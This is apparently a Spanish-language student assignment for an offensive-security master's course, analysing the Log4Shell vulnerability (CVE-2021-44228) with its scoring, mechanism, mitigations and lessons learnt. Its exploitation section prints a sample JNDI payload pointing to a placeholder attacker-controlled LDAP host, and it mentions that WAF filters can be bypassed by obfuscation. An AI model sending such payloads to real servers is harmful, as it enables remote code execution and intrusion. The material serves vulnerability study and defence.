M1AC1 - Log4j - Spanish Version
M1.AC1. CVE Vulnerabilities (CPEs)
Professional Master in Offensive Security (OSCP) (26/03/2024 - 31/03/2025)
-
Student: Nicolas Sadofschi gen0ne https://xargs.cat
Enunciado de la tarea
Con esta actividad crearemos un listado de las vulnerabilidades que consideréis más relevantes. De cada una de las vulnerabilidades se debe indicar:
- Identificador (CVE u otro identificador que permita localizarla).
- Software y/o Sistema Operativo al que afecta.
- Motivo por el que la consideras relevante.
- CPEs asociados.
Vulnerabilidad
Ficha Técnica
Título | Log4Shell |
---|---|
Identificador | CVE-2021-44228 |
CVSS | 10 (Critical) |
Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
CPEs | https://nvd.nist.gov/vuln/detail/CVE-2021-44228#vulnConfigurationsArea * |
CWE-ID | CWE-917 CWE-400 CWE-20 CWE-502 |
Capec | 1000 - 152 - 137 - 6 |
*
Listado completo: https://nvd.nist.gov/vuln/detail/CVE-2021-44228#vulnConfigurationsArea
Software y/o Sistema Operativo al que afecta
Software: Cualquier software que utilice la biblioteca Log4j* es potencialmente vulnerable.
Sistema Operativo: Log4shell no afecta directamente a los sistemas operativos, pero sí puede ser utilizada para atacar sistemas que ejecuten software vulnerable. Esto significa que cualquier sistema operativo que ejecute software vulnerable es potencialmente vulnerable a Log4shell.
##
Descripción
¿Qué es Log4j? Log4j es una biblioteca de código abierto ampliamente utilizada en aplicaciones web y servidores para el registro de eventos. Está desarrollada en Java y mantenida por la Apache Software Foundation.
¿De qué trata la vulnerabilidad? En esta tarea voy a cubrir CVE-2021-44228; sin embargo hay otra variante como CVE-2021-45046 - CVSS V3.1:9 que no solo permite la ejecución remota de código (RCE), sino también la ejecución de código local (LCE), lo que significa que los atacantes pueden ejecutar código tanto de forma remota como local en el sistema afectado.
La vulnerabilidad CVE-2021-44228 se debe a la forma en que la librería de Java Log4j procesa los ‘logs’. Log4j tiene la capacidad de analizar (“parsear”) las entradas de registro; el problema surge ya que también puede ejecutar código.
Y justamente este es el quid de la cuestión, un atacante puede manipular y generar logs para introducir código malicioso dentro de él. Cuando Log4j procesa dicho mensaje lo intenta interpretar y por ende lo ejecuta.
Mecanismo de Explotación y Poc
- Envío del payload: El atacante envía una solicitud HTTP a un servidor vulnerable con código malicioso. Nota: cualquier formulario en la web de la víctima (u otro mecanismo más sofisticado) se puede aprovechar para generar un log malicioso.
- Vulnerabilidad en el procesamiento: La vulnerabilidad se aprovecha de la funcionalidad de búsqueda (“lookup”) de Log4j. Esta característica permite agregar valores a la configuración de Log4j desde ubicaciones arbitrarias. Nota: El problema en este punto es que la función de búsqueda no comprueba la seguridad de la información que se agrega por el atacante (punto 1).
- Tipos de búsquedas vulnerables: Dos de las búsquedas más utilizadas en Log4Shell son:
- Búsqueda JNDI: Permite a Log4j interactuar con servicios de directorio externos a través de la interfaz Java Naming and Directory Interface (JNDI).
- Búsqueda de entorno: Permite a Log4j leer variables de entorno del sistema operativo.
**Ejemplo de payload:
**Un ejemplo común de payload que aprovecha esta vulnerabilidad es:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
Este código indica a Log4j que use la funcionalidad JNDI para conectarse a un servidor LDAP controlado por el atacante. Nota: no incluiré en esta tarea detalles de cómo aprovecharse de JDNI y LDAP, para información detallada: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
**Consecuencia:
**Al conectarse al servidor del atacante, Log4j ejecutará código arbitrario en el servidor vulnerable. Esto otorga al atacante un control casi total sobre el sistema.
PoC
PoC1: Log4J - CVE 2021-44228 (Log4Shell) - Exploitation & Mitigation
PoC2: CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)
Reflexión sobre los PoC
Los videos detallan la vulnerabilidad, no se limitan a demostrar cómo se explota. Resaltan la importancia de JNDI y su relevancia en la explotación, ya que sin este descubrimiento (del 2016) el impacto de Log4Shell sería menor. He aprovechado el video del PoC1 para aprender la configuración del entorno, identificar las técnicas de explotación y validar mi propio PoC en dicha plataforma.
#
Video descriptivo con detalles y reflexión:
Log4J & JNDI Exploit: Why So Bad? - Computerphile
Reflexión: En este video se explica el funcionamiento de Log4j y por qué se suele usar tanto por desarrolladores. También explica el funcionamiento de los logs, y más detalles de la vulnerabilidad. Ejemplo: Cómo trata los logs de forma recursiva, y cómo podría ir ligado a JNDI.
Agrega información acerca de cómo mediante una llamada a JNDI, Java en el lado de la víctima puede ejecutar código que le pase un atacante. Se explica cómo podría haber sido desarrollada la biblioteca para evitar funcionalidades que no todo desarrollador podría necesitar. Ejemplo: Por diseño actúa según lo descrito anteriormente, y una mejora podría haber sido agregar otro componente para transformar información si así fuere necesario.
Reflexión final: Muchos desarrolladores utilizan esta librería de código abierto por comodidad sin entenderla a fondo. La librería incluye ciertas funciones que no son necesarias o utilizadas por todo el mundo. Si juntamos la capacidad de log4j de parsear comandos con JNDI capaz de ejecutar código tenemos este cocktail nocivo.
##
Mitigación
La mitigación consiste básicamente en actualizar la versión de log4j, la versión a actualizar dependerá de la versión de java usada (7 u 8). Se recomienda Java 8 y Log4j 2.17.0.
Por otra parte NGFW’s y WAF’s son capaces de inspeccionar el tráfico para detectar y bloquear solicitudes maliciosas o inusuales que podrían estar intentando explotar la vulnerabilidad. Spoiler: Se puede ofuscar el payload de varias maneras para “bypasearlos”, por lo que tampoco se podría considerar una mitigación completa per se.
Así mismo también se podría reducir la superficie de ataque si el servidor vulnerable tiene el tráfico saliente restringido, aunque tampoco sería una solución completa.
##
¿Por qué se ha escogido esta vulnerabilidad para esta tarea?
- Como Ingeniero en Infraestructura, soportando FW’s, LB’s, (y otras tecnologías) normalmente a la hora de parchear vulnerabilidades la responsabilidad siempre recae en mi equipo, en este caso lo notorio fue el gran impacto y la colaboración de diferentes equipos (de diferentes tecnologías y roles), así como incluso colaboración con clientes afectados de cara a resolver y buscar IOC.
- La amplitud de aplicaciones vulnerables con Log4j hace que el riesgo sea aún mayor.
- Destacable que la vulnerabilidad es crítica porque permite la ejecución remota de código (RCE) sin necesidad de autenticación.
- El código malicioso puede introducirse en cualquier punto donde la aplicación registre datos.
- Dispositivos IoT fuera de soporte.
Buenas Prácticas y recomendaciones
- Mantener sistemas actualizados.
- Monitorización activa, departamentos como SOC son vitales.
- Hacer uso de NGFW y SIEM
- De cara a IOC: plataformas de análisis de datos tipo Splunk o Elasticsearch con fin de tener visibilidad, detección, correlación, fuente fiable de datos.
Conclusión
La vulnerabilidad Log4Shell ha sido un evento crucial que demuestra la importancia de la seguridad del software y la necesidad de una gestión proactiva de riesgos. La cantidad de dispositivos afectados y su facilidad de ataque es escandalosa.
Además este fallo de seguridad ha sido un “0day” por lo que ha estado activo hasta que se notificó, esto dio lugar a muchos ataques sin que ni siquiera nadie se diera cuenta.
Lo considero un candidato perfecto para los temas que se cubrirán en este máster.
Fuentes
https://www.incibe.es/en/incibe-cert/blog/log4shell-analysis-vulnerabilities-log4j
https://www.elladodelmal.com/2022/02/como-se-puede-explotar-log4jshell-en.html
https://www.youtube.com/watch?v=uyq8yxWO1ls&t=1s
https://github.com/Cyb3rWard0g/log4jshell-lab
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words/blob/main/README.md
Bonus
Cómo lesson learnt de esta tarea y módulo he tomado las siguientes acciones:
- Inventario HW usando Software Open Source (Snipe-IT) de mi pequeña infra en casa.
- Dia mensual de Parcheo (primer domingo de cada mes).
- Diagrama de Red.
- Concienciación a los integrantes de mi familia acerca de actualizaciones y pequeña introducción a la ciberseguridad.
Diagrama de red: